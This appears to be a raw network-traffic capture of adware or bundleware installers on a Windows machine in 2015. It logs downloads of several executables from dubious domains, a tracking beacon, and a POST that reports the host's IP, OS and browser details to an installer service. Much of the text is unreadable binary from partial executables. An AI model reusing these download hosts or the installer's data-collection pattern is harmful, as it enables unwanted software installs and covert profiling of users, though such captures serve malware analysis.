!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].
<<< skipped >>>


GET /pin.gif?e=updinst&s=9813&i={E7875669-BB28-462E-BE68-71C7238AA8F4}&overs=9813&overi={3D38404C-DF40-4DAA-A4FF-6CF94BA6576C}" HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: track.madagascardomain.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:47 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Thu, 07 Aug 2014 08:18:11 GMT
ETag: "22-50005baba6d35"
Accept-Ranges: bytes
Content-Length: 34
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/gif
GIF89a.............,...........C.;..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


GET //MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115590, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:14:56 GMT
Expires: Fri, 01 May 2015 19:14:56 GMT
ETag: "cde42a3c7c3e34e84557bd63559dc22397a18c3d"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1787
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0...z0x1.0...U....US1.0...U....Arizo
na1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..."Go Daddy Vali
dation Authority - G2..20150430071456Z0k0i0A0... ..........._lkv...8..
f..R34N..@..'..4.0.3..l...,....;..#F._.....20150430071456Z....20150501
191456Z0...*.H.................I...%.W.....A...w...wv.T.f.."..?r......
.....BY......U .]<....<t..~.N.^.a.Z..h.{R.R.Q.{..L...XG...Mm...\
.s..w..?I[...3d.wY...............f. .. .....=*MD.`........B;.:...X..o.
0..->-..?Z.i..d.0#.......]dq.d....#G.....x..h>u.........R..3....
c...?.......j......0...0...0..........,.z.Hl..0...*.H........0..1.0...
U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, 
Inc.1-0 ..U...$hXXp://certs.godaddy.com/repository/1301..U...*Go Daddy
 Secure Certificate Authority - G20...150316070000Z..160316070000Z0x1.
0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy I
nc.1 0)..U..."Go Daddy Validation Authority - G20.."0...*.H...........
..0.........xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\........
..b.D....l=.HS.N......A..;....C)...(..T........XA-N....k1 .....ag...,4
.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B..k[4...........e.
../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p..........0...
0...U.......0.0...U...........0...U.%..0... ......... .......0...U....
...O........f...e..r..0... .....0......0L..U...E0C0A.?.=.;hXXp://crl.g
odaddy.com/repository/mastergodaddy2issuing.crl0J..U. .C0A0?..`.H...m.
...000... ........"hXXp://crl.godaddy.com/repository/0...*.H......
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 130814-523255/523256
Content-Length: 392442
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.9.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.6..?.....8.......0.-.mo..9.tK....IH.d.."j_.w-..
..]..P.(.......".BU..Uk|.......t........._..I...Z..8Y...0...E.,......d
.........E.q.}....n............Qx..Rj ....h.............%...l<.%Q?.
../}.2..._.J.>.,.....|q..&...|..,]$g....../..q.Hzg.d...w..t.U....-f
q..l.G.......)...=......i.......O..3.....Yr6.-..w_....M.1...7..^~...j.
^...d.]....2h...%..0x?>.a.fiW.....h.....r..N.....-........"3..er...
[email protected]..`9O.bw:.'....q...-N^.....6....}..X..?h......t....:
...2.u.'...t~9.?.Mg.x.v...(....v.2...Q.y./.}....;....(hk...g.=...e<
.j.}r.....x.....\..i&.}.?...Iw..a.{.w.(.03E,v6_v..a]|..v.OzS.n...2.{\M
.d...g..w..~...q..;]N..O.p|..*..G....e..snr.1...,.$..0..A'Yp.<*...x
5.\`~_Mk/. .......|..G.12.h0.-..Q..r.H7.>....l..<.{.....l...}.,u
.."..!....kqm...5,.K..,..G.........-]..0.L&g.x.MFg......0.\.}..s.....#
.|.a.N'.t..&.........5.!...X..Y...].......r.`.z.w...p...`.C..V....Q..p
.....g..=t..p....y;!.rH]..];.vg.0...`g..x....r6r....;....@[Z..w...'...
.....{...;......t.{.....rr.w..A..16...;;xe..=..3..Q.O../8......Nwn...L
....]l.....\..A.*........e..Zw.......WU.Ne.....U......................
]?....{C....];<{_..{..[=[\.{_1.R..{o...{...S..7......y. ...W..;_...
[.~.........n......_..w .w...C.e<.,..-..^.h....HU..x>O..r/..)DT.
.=M.O....x...0{.l..#.{.>.o.....E.i.<S..o.d.s...W."V. e....b.....
;7...K4....a..q.....Y.X.&W)...{......5^...c.._.` .^V..7..B7......z..4.
^......Y...hg?....%..b..l&..._...Q.4.'.;...=NN.....`R.)X.}}^...|rmo.:l
m.|....7./..|..c..0n\...l..c.B..<.v(k7T(....LU23...U-.7....p}[.
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Content-Length: 2699
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.9.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=a4ef7ad5ee844541a73265af1d50735c&uid=a4ef7ad5ee844541a73265af1d50735c&affid=awde7zip23008&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=6355fea58f3865ff4380f52bbc2e369c&tokyo_csrf_timestamp=1430386035&unique_id=false&clientIp=193.138.244.231&ffInstalled=fal
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
e88.............\ms.6.. ....B..d........\s.$.u...."[email protected]...^-;
Nsm..5..e........"..Re\.....w2........(y.pz...D.B...e.;....=.#K.,S36.I
.B.."a.D,-.T..(T\...A.S...f.Z...XQ....JV*&0.7 ..N.{?.fy..".....:-.X...
Z.Td...D......!/T.v]...7..UQ..h.QW....co.qq.{=.`9.s.uAt...e..)}."5...#
.k5JD.a.....2.Sy.......X......zE..V .za.I..Y......H.rI:1..F....".V 8ME
4....XK.L..U.lTeQ"".],p.v..Z.v.......Z=.`....S:`.e(D.I...{/EQ.b!.8....
&3.G.`<tY....t...... .K....9.BK..{...%.h..L.X..v4O.{n.\..H.\i.=A.S.
i....]iQ.d.H....v.$C..S...1mt&....R.......p2..Md..L......j..Z8......;V
3.......(.X.G.....z..&.I.i...."..D.Thl..7L......5^.......#.. Y!H..C..P
...%.n.A.!.#.{.[[email protected]%4Z.>4.f..Y...y.?....6)K../.r..
:Y.8...p. ...,&.........-...'......t.....B7&.`.....>.|/[email protected]
.t.T.M.A[{.{.0....U=....|...^M.2?......M...Mq\.T..g......o8<L..J..W
...bn7.....F`f"5(..-}.E.....1.zxX........'.h.n.0*.9.-r... "j...X...2..
c...#..A.....7.B..d......T........P%..;.8WE....^.i.........7.Y~..z..s.
j1....b...1.I%.R.5h.k.8.....^...........sz^.Uiw`.....X7...H).ZFD.,..5T
..V`....q... ..w.c.(`..<Q.._...UI.{...0Ib..$......95{ d...L6.qI.N.=
N(.m..SG...\.DG.A.e.X....X$.O..,......vrz.&jY..lx..U.y..._..&..-.t.zi.
7iA9O.L.#..G.."..dPe..5...\...V..FH-...g...".....A-.. ..^>q.....R..
{....z......2DwQ..{....^..........;T......R.e..9.\moT.......r.Q.......
[email protected].}...q,..n|M...:......d.h.......g...q.../
$|.|.tTtR..=....K.h...x..I..0........{9.S.{.ww....TA.2 ...I....a.P[;4.
.^dR(....;.......Ms...I1.z....*4<....v|zrtt.........&r..:Dk...l
<<< skipped >>>


GET /c/SetupComponents.exe HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: webprotectionfree.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:14 GMT
Content-Type: text/html
Content-Length: 177
Connection: keep-alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>..HTTP/1.1 403 
Forbidden..Server: nginx/1.4.6 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:
14 GMT..Content-Type: text/html..Content-Length: 177..Connection: keep
-alive..<html>..<head><title>403 Forbidden</title
></head>..<body bgcolor="white">..<center><h1&
gt;403 Forbidden</h1></center>..<hr><center>ng
inx/1.4.6 (Ubuntu)</center>..</body>..</html>....



GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:02 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=242
Content-Length: 250000
Content-Range: bytes 0-249999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385903.dop006.am4.t,1430385902.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........(C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]...(C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:03 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=241
Content-Length: 250000
Content-Range: bytes 750000-999999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385903.dop006.am4.t,1430385903.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
.5..r..'..j.=9n.V...=..3 `...O....Sn(F|.M.Hwu^...G..kU..:.'....F......
aV.7... .Y.;...$8..FQ..,{u....6.V......r....bV...~~o6gb.....Cic...h..!
.......h.Qo.~.6..]..%/$e.4G!...h.....n...U.....wP.Q....S..$..1r..K.`..
Q.Z..6u.IL.j.s.s>.O..=..6...".}..:....l6.!.5....=V.....<. ;..`.Z
..O.lZ.w.....U^...W....pq.E....... ...Y..('E.Hw4G.....}..f@c....)...DQ
.O.&.W^..........g.R".../.....5F.j.f..sk.}.l.4..F*....n..n.<w..=...
.}........o..........]|P;...Y..i.9c......Z\q.O.....[..MD......d..Z....
Y> z.X......>.c..2.....9...SNv. ..).&.c.\.......nb.s.,....R.3...
.......y.?..gU.Pj..R.kt...'.......G.K.|.......A....Uf..lz.pp.s. .d....
...9%.j......S.-.(5c5@ $Kl$D.{.WO}9....f....#)....\.O... .E.2..._..{.)
.<....Y.:4.ve.b..i...$a.2...&J%...v.(..Q..11.j$vq". @.....p......VW
...$0....5M."....P..Q.0..z....};..l.....(u.....5.......0.P..?.p.#.U5..
1(......4o..P.!.F....RH.......T....K.Tn..FP./.&.9.. .^..0C.W.".......0
[email protected]?.....O.-$...>.<.e..H3...uSx........
;z=.M....b...Y.p....l....x...4..[....'..{...n.o..: 1J.d..;c./.T..D.I.d
.!..;.R....j..O1%...O...r...B.A..x.(.....b'a3.'...p.P.V..Y.......)...|
^..Y7.....]Q.>g6.M..<..gN.......J...3........iV...y......$..Z\.L
$'[email protected].....[.{.<j.<h7y.....-.P.......!......_..>
;q....rw|.c2..O...../&...O(:.?...;[email protected]....._.r. V/.gw8.
...(....6.Tn... j ......W....n....{.....g.&.*.."....N...J= -..^.....5.
....Y.9.8yb..R.z.......b....s.1...W..7q.....M.}..F0?z.z.#.;...hH....c.
.SC...2T.\...B.P..._.C...{..Fd7...np..Vf............Z.......... K.
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...MhKSp.y....~Y~s.(...M......i.|.`D$....W..6...<..<....[..GW...
.....................)....|".|.}...6..k=.R.Y9....`.L.....E.O...$7hX...
/.bbo.e.......;.a.....P..=tl.<.3.1W....u..'......L....*.*......>
[email protected]...~G.../...Y..eh2G.....Q..B1~..n_b....lG.{.{!.!....*..~.4.J.8.
.}O..,5.6..:^....zz.<kLH......I.g.m9.F.....i........f.xcG.5...]...x
R.h....8.<c...W.........G.........V...v.........op..Z.......zOq....
[email protected].[......,(.....v....I'.?..J..w.E.Y...#."c<.3......X
...'...2y.d.;}...........Z.Y...|.J ......G.u.D....\.9c...a..k.....4...
.....fr..'..~|,]./.0.T.X.~...m..P^...i.....^......m.a.:.u\..0...~..%..
..z.y......acQ>.#f.X.:.........5..X4@B,.....dV.....2C.u....h..u....
...Z.> ...x....l.>^...k....q5t...a.$u%to.."jF]..k....Q.X..lV..h.
.....<.........)...-....OS...R..}y.. ]....F.{z.K*.7...3...&.h....y.
...t.[.).p..".&.k.9.d...P...v".O....)]......x.?.X%....K.'....9N...  6K
...?...*./...1W.q...m|.^g.]u!.c..K.....B.......~0.M.`[email protected]...
.....3hD..V..Co7....a>..r.W....Zk.OO....&.e~^...E`.H..Nu}....JL..I.
$.K....k`.Nj K....Eds.A....i......._7.....).h.3..W....f...B.z.%Br.....
R.....Z5..7.W...t.....fCL....v...(h....%Q..HHV.?..4......M[...V.3.}...
.......B....JA....{U%....s<.O....|V.......M..... ..;..D....u.M.....
0..~..Y..^..s.V".-.:v[.m..$..D...X.5A..q....j..i.R#...........Z.2=2...
A./..SK%....b.......B.f.......1.......U.@N[n.o.T..d...d....G2...n.....
.7...q._...!..._0m...}...S0?.....%hg.......>....4j.5 ...C...R...`..
.Y.b...o.F...9.).O.Uq'.94aV..y...(........9.......h.g.g...I...m...
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



T...%..*.X.4m....v..d........b..x...aFBIQX.u9c../%.f..KT....G._?.k._..
.5.3..k.~..Z.......g.....4-.:pY.D...:..b...i.:1e.s.?N...:._......Z.1..
......v....p......Y...Di="b....Z..qF........3.7.....wQ>.t..8.j&...!
j3. ..a.._..........?.....^~e.Y.....x..}).p.~B.o..!..2g.-..o(H...*.;..
S7I.....1ErU..H.....u-.....\.......4FM/..ro..'.....#..V3.d./.t.;L..`A.
Q....<t.\.'..d..P...d..u..h..G.O....n...@.^aK....e.h....`.....}....
.....].g....A|.Ar!.........\.<..%..].'x..C.U.>.5....B`S......M.Z
#.xQ8&l.......cI..(g..,9....Y.3.w....0..C..5.c....>..T.b........&..
\%..}z.5......<& .........V....s....*9h.S..w.Gw.n..2.2l ...D%.....4
.8ExX..c.w..\zf....o. .W.Q..VZ.b..g4...G.A..z..b..2.x.......;Y./...'.k
%......$..%..J...~.W..........Aj..XL.\...../..6>V..`..".p..........
&...R.......e$..^d.k..Vo.VC..$G..?.0bi,F.......V.*.N.....w.U.$U.c).i1.
.).|i...C....`.=.S=.<.:.k.......V..vS|>...........3V.aJ0).%.}h&g
t;.#......../.V......K.:.....x.E....6.......ulxT0..pF ....<../7....
.....q...e)#4....6.......]6.h!..:Qf.... ......C.....*.R.b......U..fc.W
........".CU4o..L....N........l...............@9.....$...b.Bvm..ei.[..
..b....|Y.X.. s.M......*..Lru.`....JKM...x6......8...Au....:.{.$5O....
.5..9.v...../...a].0...@f..?.Q.r1d..(K..q........q...D%..4..o;...u..t.
.....C.........n0..{.`Io'5...H.... .....F...<.m-v......!........*.~
k...)].\I.6;e".h..C.7QQ.qd...p.].....\..K..[(3rEr......^...T..a...0..y
._#-.JR...Y.._..ua.vO.Wh....:..H..K...}Q..{B....\..~xM....11..........
-r7.3.....4.....I..[.v..{.O....*..........V. .n;X.XM......Y.}.....
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:05 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=239
Content-Length: 250000
Content-Range: bytes 4500000-4749999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385906.dop006.am4.t,1430385905.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
./.4.mN...$...q%..&J3w"[email protected]....&Y....f...w..?.d..B5....)...
!B....j..Z..!......P][email protected].|D)......... ......`.F.:..X.j....K.QH...X..
.y..J.R...).V..dPFT>.!.E.p......q^......P.3?.....a.........r.r. ..i
....5...X. ...k........(;,)V...~XwT...Z.....j.p..I....]....B.<..1..
]px.....{P-_n..$...;..G..3.a.....h.....e!.b.......L.^2...2.P.5o.&..jz.
i.....y-I.'G|o.. ......y:=......<...w..pC1.......V....Oa.....h..8..
[email protected]@..4....H. ..n[.{..o.7......f......U.O.FM.X.-W'.....9.D
....-Lt........#...W.l...p......Zq./..u..@.=)A..fu6..*a.`P.bs;...Q.6.9
#.NWge{#...*S...Q..q@W.{(E.u..9.4.....k0E..r..B..dp..[..f.Q-....._loU.
....J....21.M.....n..).(.V.`\(_.D....@Y......_t....6...h1.........vl.-
.:...<....*.\$....- r..J..y...I<x^..w.Z...v..[.G.w2.|.[..\i..m..
..yL.I......h..daKJ.]SE.m....E<0\...3.C.y..4..:...h....7/..Y9&x4W).
zI'<...c.Z...".y.tv9n&..|a...S.....L^(..........^q./...........,.|~
.....N>.f..d.r.4c......)E..#..6w&.L.....$g......U.U...-T...9Y.xY...
...O..`..5pO......^..B.`.,.H...,..\..FG,.$.N.........wM..........G....
n\...!.F.\.&.,:...r......fg$..`$.....6....%[email protected]%h......
)4.....}5. .1,..?>{_:.\....s.F...J.b..P!Zf.Ft.E.........{.W.... .B.
.euH .._(.1Y....D}O...*..(U......%......:.......`OX(f.o.x........1k...
<w^....P.u......Nko..yL....6....J.x.J.gP.~xX.[.....s..4.W....`.a{..
k^.T".......{..25._-3g.o.2..F.`C.uP...szb*..X....%........J..l...ZW...
......q.........bG........\...1...=............g?..|..&.......M......g
.5...Lu.P......|.....x....?....L...*c...f.....<Ns.1...8.xgf....
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:05 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430375336"
Last-Modified: Thu, 30 Apr 2015 06:28:56 GMT
Cache-Control: max-age=239
Content-Length: 250000
Content-Range: bytes 4750000-4999999/11625644
Content-Type: application/x-msdownload
X-HW: 1430385906.dop006.am4.t,1430385905.cds051.am4.c
Content-Disposition: attachment; filename="iweb.exe"
]{)..........A.U..j.....M%.x.........B..*..q.r..W....jPY..dd......x...
.....2..gZ.....Z...3..b._.q=OB...:.H.`.........@o....>an`[email protected]
~a.....a...o.'T....XL/....."..(~.pt..o][email protected].....!/..Q.....@
...]p..e.....R;..[.@ {'.........!....N,....cq_..k.......^...#...o.)...
.T."..J"....N...WUv..~<r....=.CB.........7q.F....M.E]....F.....6...
!.......>...*@...K%..C.R..V..y...MHeR.ZJ.."...3.;......y..H....g[..
.`. .Nq|}.'.g....]..f.......f;N....%:.?...m....:.^P...o..p....:._...i.
2.(....q.$*. .....g.3.Mt.pA......!.j.56.........f.f..._...aj..'j..WT..
.....bh;.l.3E.(.j..x..F....#g..9lM.........Y.5..A5...>.A..>.e^O.
Uvfe.....pF..=..E.\...........=..}....M.{`3HX. R'"]c..N.....h.A.l.IF..
G..&L.c/E.4_r......../n.p`9..2.....Q{.7.....>....P..y.....c...Ut...
n..'J%.......X...c(j"$....ec....z...8.=...S...3.!E.. V..] ...1...5.3..
...g.''.......j...*.}J.5(........../:..y.7..Xd...d..t...6sp&....1."&..
